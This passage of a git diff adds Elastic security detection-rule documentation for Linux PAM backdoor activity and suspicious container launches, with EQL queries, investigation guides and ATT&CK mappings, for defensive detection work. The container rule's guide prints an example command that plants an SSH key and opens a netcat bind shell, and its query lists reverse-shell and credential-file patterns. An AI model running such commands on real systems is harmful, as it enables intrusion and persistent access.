"/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/sbin/pam-auth-update", + "/usr/lib/systemd/systemd", "/usr/libexec/packagekitd", "/usr/bin/bsdtar", "/sbin/pam-auth-update", "./user/bin/podman", + "/usr/bin/dnf5", "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/crio", "/sbin/authconfig", "/usr/sbin/yum-cron", + "/sbin/yum-cron", "/usr/local/psa/bin/dnf_install", "/opt/jc/bin/jumpcloud-agent", "./usr/bin/podman", + "/kaniko/executor", "/opt/kaniko/executor", "/usr/bin/buildah", "/usr/sbin/pam-config", + "./usr/lib/snapd/snap-update-ns", "/usr/bin/install", "/usr/bin/env" + ) or + file.path like ( + "/tmp/snap.rootfs_*/pam_*.so", "/tmp/newroot/lib/*/pam_*.so", "/tmp/newroot/usr/lib64/security/pam_*.so" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + file.Ext.original.name like "*.pam-new" or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", "/usr/bin/python*", + "/opt/alt/python*/bin/python*", "/usr/libexec/platform-python*", "./snap/snapd/*/usr/lib/snapd/snap-update-ns" + ) or + (process.name == "sed" and file.name like~ "sed*") or + (process.name == "perl" and file.name like~ "e2scrub_all.tmp*") or + (process.name == "perl" and event.action == "rename" and file.Ext.original.name like "*.pam-new") or + process.name like ("python*", "platform-python*", "dockerd") or + (process.name == "vim.basic" and file.name like "*~") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc new file mode 100644 index 0000000000..47e2d61261 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-creation-in-unusual-directory.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-pluggable-authentication-module-pam-creation-in-unusual-directory]] +=== Pluggable Authentication Module (PAM) Creation in Unusual Directory + +This rule detects the creation of Pluggable Authentication Module (PAM) shared object files in unusual directories. Attackers may compile PAM shared object files in temporary directories, to move them to system directories later, potentially allowing them to maintain persistence on a compromised system, or harvest account credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Creation in Unusual Directory* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by creating malicious modules in non-standard directories, aiming to gain persistence or capture credentials. The detection rule identifies such anomalies by monitoring the creation of PAM files outside typical system paths, excluding benign processes and known directories, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path and name to determine the exact location and nature of the PAM shared object file created. +- Investigate the process that created the file by examining the process name and its parent process to understand the context and legitimacy of the file creation. +- Check the user account associated with the process that created the file to assess if it has the necessary permissions and if the activity aligns with typical user behavior. +- Analyze recent system logs and command history for any suspicious activities or commands that might indicate an attempt to compile or move PAM modules. +- Correlate the event with other security alerts or anomalies on the system to identify potential patterns or coordinated actions that could indicate a broader compromise. +- If possible, retrieve and analyze the contents of the PAM shared object file to identify any malicious code or indicators of compromise. + + +*False positive analysis* + + +- Development and testing environments may compile PAM modules in temporary directories. To manage this, exclude paths commonly used for development, such as "/tmp/dev/*" or "/var/tmp/test/*". +- Containerized applications might create PAM modules in non-standard directories. Exclude processes like "dockerd" and "containerd" to prevent false positives from container operations. +- Package managers or system update tools may temporarily store PAM modules in unusual directories during updates. Exclude paths like "/var/cache/pacman/pkg/*" or "/var/lib/dpkg/tmp.ci/*" to avoid alerts during legitimate system updates. +- Custom scripts or automation tools might generate PAM modules in user-specific directories. Identify and exclude these specific scripts or paths if they are known to be safe and necessary for operations. +- Temporary backup or recovery operations might involve copying PAM modules to non-standard locations. Exclude paths used for backups, such as "/backup/*" or "/recovery/*", if these operations are verified as secure. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Conduct a thorough review of the unusual directory where the PAM file was created to identify any other suspicious files or activities, and remove any malicious files found. +- Analyze the process that created the PAM file to determine if it was initiated by a legitimate user or process, and terminate any malicious processes. +- Reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges or access to sensitive systems. +- Restore the affected system from a known good backup to ensure that no malicious modifications persist. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to create PAM files in unusual directories. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.name like "pam_*.so" and not file.path like ( + "/lib/security/*", + "/lib64/security/*", + "/lib/x86_64-linux-gnu/security/*", + "/usr/lib/security/*", + "/usr/lib64/security/*", + "/usr/lib/x86_64-linux-gnu/security/*" +) and not ( + process.name in ("dockerd", "containerd", "steam", "buildkitd", "unsquashfs", "pacman", "executor") or + file.path like ( + "/build/rootImage/nix/store/*", "/home/*/.local/share/containers/*", "/nix/store/*", "/var/lib/containerd/*", + "/var/snap/*", "/usr/share/nix/nix/store/*", "/tmp/cura/squashfs-root/*", "/home/*/docker/*", "/tmp/containerd*", + "/var/lib/rancher/*/agent/containerd/*", "/var/lib/lxc/*", "/var/lib/containers/storage/*", "/var/lib/checkpoint*", + "/var/lib/docker/overlay2/*", "/srv/docker/*", "/podman/storage/*", "/opt/jail/driver-jail*", "/build/tmp/work/iot*", + "/tmp/containers-root/*", "/cce-14/*", "/cce-usr/*", "/var/tmp/portage/*", "/media/*", "/data/var/lib/docker/overlay2/*", + "/home/*/.cache/bazel/*", "/home/*/.cache/umu/*/SteamLinuxRuntime*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-source-download.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-source-download.asciidoc new file mode 100644 index 0000000000..d2f1f68a50 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-source-download.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-pluggable-authentication-module-pam-source-download]] +=== Pluggable Authentication Module (PAM) Source Download + +This rule detects the usage of "curl" or "wget" to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Source Download* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by downloading its source code to insert backdoors, compromising authentication. The detection rule identifies suspicious downloads of PAM source files using tools like `curl` or `wget`, flagging potential threats to system integrity and user credentials. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of `curl` or `wget` for downloading the PAM source file, focusing on the `process.name` and `process.args` fields to verify the URL pattern matches the suspicious download. +- Check the user account associated with the process execution to determine if the activity was initiated by a legitimate user or a potential adversary. +- Investigate the system's command history and logs to identify any preceding or subsequent commands that might indicate further malicious activity or attempts to compile and install the downloaded PAM source. +- Examine network logs for any unusual outbound connections or data exfiltration attempts following the download, which could suggest further compromise. +- Assess the integrity of existing PAM modules on the system to ensure no unauthorized modifications or backdoors have been introduced. +- Correlate this event with other alerts or anomalies on the same host to identify patterns or a broader attack campaign. + + +*False positive analysis* + + +- Legitimate system administrators or developers may download PAM source files for testing or development purposes. To handle this, create exceptions for known user accounts or IP addresses that regularly perform such downloads. +- Automated scripts or configuration management tools might use `curl` or `wget` to download PAM source files as part of routine updates or system setups. Identify these scripts and whitelist their activities to prevent false positives. +- Security researchers or auditors may download PAM source files to conduct security assessments. Establish a process to verify and approve these activities, allowing exceptions for recognized research teams or individuals. +- Educational institutions or training environments might download PAM source files for instructional purposes. Implement a policy to exclude these environments from triggering alerts, ensuring they are recognized as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active `curl` or `wget` processes identified in the alert to stop the download of potentially malicious PAM source files. +- Conduct a thorough review of PAM configuration files and shared object files on the affected system to identify and remove any unauthorized modifications or backdoors. +- Restore the affected system from a known good backup if unauthorized changes to PAM files are detected and cannot be easily reversed. +- Implement stricter access controls and monitoring on systems handling PAM configurations to prevent unauthorized downloads or modifications in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. +- Update detection mechanisms to monitor for similar download attempts and unauthorized modifications to critical authentication components. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "ProcessRollup2") and +process.name in ("curl", "wget") and +process.args like~ "https://github.com/linux-pam/linux-pam/releases/download/v*/Linux-PAM-*.tar.xz" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-version-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-version-discovery.asciidoc new file mode 100644 index 0000000000..f98b7d91c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pluggable-authentication-module-pam-version-discovery.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-pluggable-authentication-module-pam-version-discovery]] +=== Pluggable Authentication Module (PAM) Version Discovery + +This rule detects PAM version discovery activity on Linux systems. PAM version discovery can be an indication of an attacker attempting to backdoor the authentication process through malicious PAM modules. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.group-ib.com/blog/pluggable-authentication-module/ +* https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Version Discovery* + + +Pluggable Authentication Modules (PAM) provide a flexible mechanism for authenticating users on Linux systems. Adversaries may exploit PAM by discovering its version to identify vulnerabilities or backdoor the authentication process with malicious modules. The detection rule identifies suspicious processes querying PAM-related packages, indicating potential reconnaissance or tampering attempts, thus alerting security teams to possible threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of suspicious activity, focusing on processes with names "dpkg", "dpkg-query", or "rpm" and their arguments "libpam-modules" or "pam". +- Check the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Investigate the parent process to understand the origin of the command execution and assess if it aligns with normal user behavior. +- Analyze recent login attempts and authentication logs to identify any unusual patterns or failed attempts that may indicate unauthorized access attempts. +- Correlate this activity with other alerts or logs from the same host to identify if there are additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Routine system updates or package management activities may trigger the rule when legitimate processes like dpkg or rpm query PAM-related packages. To manage this, consider creating exceptions for known maintenance windows or trusted administrative scripts. +- Automated configuration management tools, such as Ansible or Puppet, might execute commands that match the rule's criteria. Identify these tools and exclude their processes from triggering alerts by specifying their execution context. +- Security compliance checks or vulnerability assessments often involve querying system packages, including PAM. If these are regularly scheduled and verified, whitelist the associated processes to prevent unnecessary alerts. +- Developers or system administrators testing PAM configurations might inadvertently trigger the rule. Establish a protocol for notifying the security team of such activities in advance, allowing for temporary exceptions during testing periods. +- Custom scripts used for system monitoring or auditing may include commands that match the rule. Review these scripts and, if deemed safe, add them to an exclusion list to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving 'dpkg', 'dpkg-query', or 'rpm' with arguments related to PAM. +- Conduct a thorough review of PAM configuration files and modules on the affected system to identify and remove any unauthorized or malicious modifications. +- Restore any compromised PAM modules from a known good backup to ensure the integrity of the authentication process. +- Monitor for any additional suspicious activity on the affected system and related systems, focusing on unusual authentication attempts or process executions. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for PAM-related activities across the network to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ?process.parent.name != null and + ( + (process.name in ("dpkg", "dpkg-query") and process.args == "libpam-modules") or + (process.name == "rpm" and process.args == "pam") + ) and +not ( + ?process.parent.name in ("dcservice", "inspectorssmplugin") or + ?process.working_directory in ("/var/ossec", "/opt/msp-agent") or + ?process.parent.executable in ( + "/opt/CyberCNSAgent/cybercnsagent_linux", "/usr/local/manageengine/uems_agent/bin/dcpatchscan", + "/usr/local/manageengine/uems_agent/bin/dcconfig", "/usr/share/vicarius/topiad", + "/etc/rc.d/init.d/sshd-chroot" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pod-or-container-creation-with-suspicious-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pod-or-container-creation-with-suspicious-command-line.asciidoc new file mode 100644 index 0000000000..c8696116fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-pod-or-container-creation-with-suspicious-command-line.asciidoc @@ -0,0 +1,220 @@ +[[prebuilt-rule-8-19-20-pod-or-container-creation-with-suspicious-command-line]] +=== Pod or Container Creation with Suspicious Command-Line + +This rule detects the creation of pods or containers that execute suspicious commands often associated with persistence or privilege escalation techniques. Attackers may use container orchestration tools like kubectl or container runtimes like docker to create pods or containers that run shell commands with arguments that indicate attempts to establish persistence (e.g., modifying startup scripts, creating backdoors). + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pod or Container Creation with Suspicious Command-Line* + + +This rule flags pods or containers started via orchestration or runtime tools that immediately execute a shell with commands linked to persistence, privilege changes, or covert I/O (cron, rc.local, sudoers, .ssh, base64, netcat/socat, /tmp). This matters because attackers often spin short‑lived workloads to modify startup paths or drop backdoors. Example: kubectl run --restart=Never -- sh -c 'echo ssh-rsa AAAA... >> /root/.ssh/authorized_keys && nc -lvp 4444 -e /bin/sh'. + + +*Possible investigation steps* + + +- Pivot to Kubernetes audit logs to identify the actor (user or service account), namespace, source IP/workstation, and RBAC context that launched the workload, and validate whether this aligns with approved admin activity. +- Pull the pod/container spec and image metadata to quickly assess risk indicators like unapproved registry/image, privileged mode, hostNetwork/hostPID, and hostPath or sensitive volume mounts that could mutate the node. +- Parse the executed command to determine whether it attempts persistence or backdoor setup (editing cron/rc.local, sudoers or authorized_keys, base64 file drops, starting netcat/socat listeners), and verify those changes on the container or node. +- Correlate runtime and network telemetry for the workload to detect outbound connections or listening ports indicative of reverse shells, and identify destination endpoints and nodes involved. +- Trace the launcher context by reviewing kubectl client host artifacts (shell history, kubeconfig, IAM/MFA tokens) or CI/CD logs, and check for recent anomalous commits or pipeline runs that could have triggered it. + + +*False positive analysis* + + +- Administrators performing network troubleshooting or node diagnostics may start ephemeral pods via kubectl run --restart=Never or ad hoc containers with docker/nerdctl that launch sh and use nc/socat/telnet, read /proc, or write to /tmp. +- Engineers may pass configs or test scripts into a shell using base64/xxd and touch cron, rc.local, /etc/ssh, ~/.ssh, or /etc/profile during validation or break-fix work, producing commands that resemble persistence behavior. + + +*Response and remediation* + + +- Delete the offending pod/container, revoke the kubeconfig or runtime credentials used to launch it, and quarantine the image and namespace, cordoning the node if privileged, hostNetwork/hostPID, or hostPath were present. +- Kill any spawned shells or listeners (e.g., sh -c 'nc -lvp ...', socat, telnet) on affected nodes, remove unauthorized firewall/iptables rules, and apply temporary deny-all egress NetworkPolicies to cut C2. +- Eradicate persistence by restoring clean versions of /etc/cron*, /etc/rc.local, /etc/profile, /etc/sudoers, /etc/ssh/* and deleting unauthorized keys or scripts under /root/.ssh, ~/.ssh, /tmp, /dev/shm, /var/tmp, and hostPath-mounted directories. +- Rebuild compromised nodes or redeploy workloads with known-good images, rotate cluster secrets and SSH keys, and validate baseline integrity with file hashes and admission scans before returning to service. +- Escalate to incident response if the actor is unverified or commands touched /etc/shadow or /etc/sudoers, used privileged containers or hostPath to access the host, or opened external connections or listening ports on the node. +- Harden by enforcing admission controls to deny pods that start /bin/sh or /bin/bash as PID 1, block privileged/hostNetwork/hostPID/hostPath, apply per-namespace egress policies, and restrict RBAC so only approved admins can run kubectl run --restart=Never or docker/nerdctl run. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and ( + (process.name == "kubectl" and process.args == "run" and process.args == "--restart=Never" and process.args == "--") or + (process.name in ("docker", "nerdctl", "ctl") and process.args == "run") +) and +process.args in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.command_line like~ ( + "*atd*", "*cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*", "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", + "*/etc/profile*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*autostart*", "*xxd *", "*/etc/shadow*", "*./.*", + "*import*pty*spawn*", "*import*subprocess*call*", "*TCPSocket.new*", "*TCPSocket.open*", "*io.popen*", "*os.execute*", "*fsockopen*", + "*disown*", "* ncat *", "* nc *", "* netcat *", "* nc.traditional *", "*socat*", "*telnet*", "*/tmp/*", "*/dev/shm/*", "*/var/tmp/*", + "*/boot/*", "*/sys/*", "*/lost+found/*", "*/media/*", "*/proc/*", "*/var/backups/*", "*/var/log/*", "*/var/mail/*", "*/var/spool/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Sudo and Sudo Caching +** ID: T1548.003 +** Reference URL: https://attack.mitre.org/techniques/T1548/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* 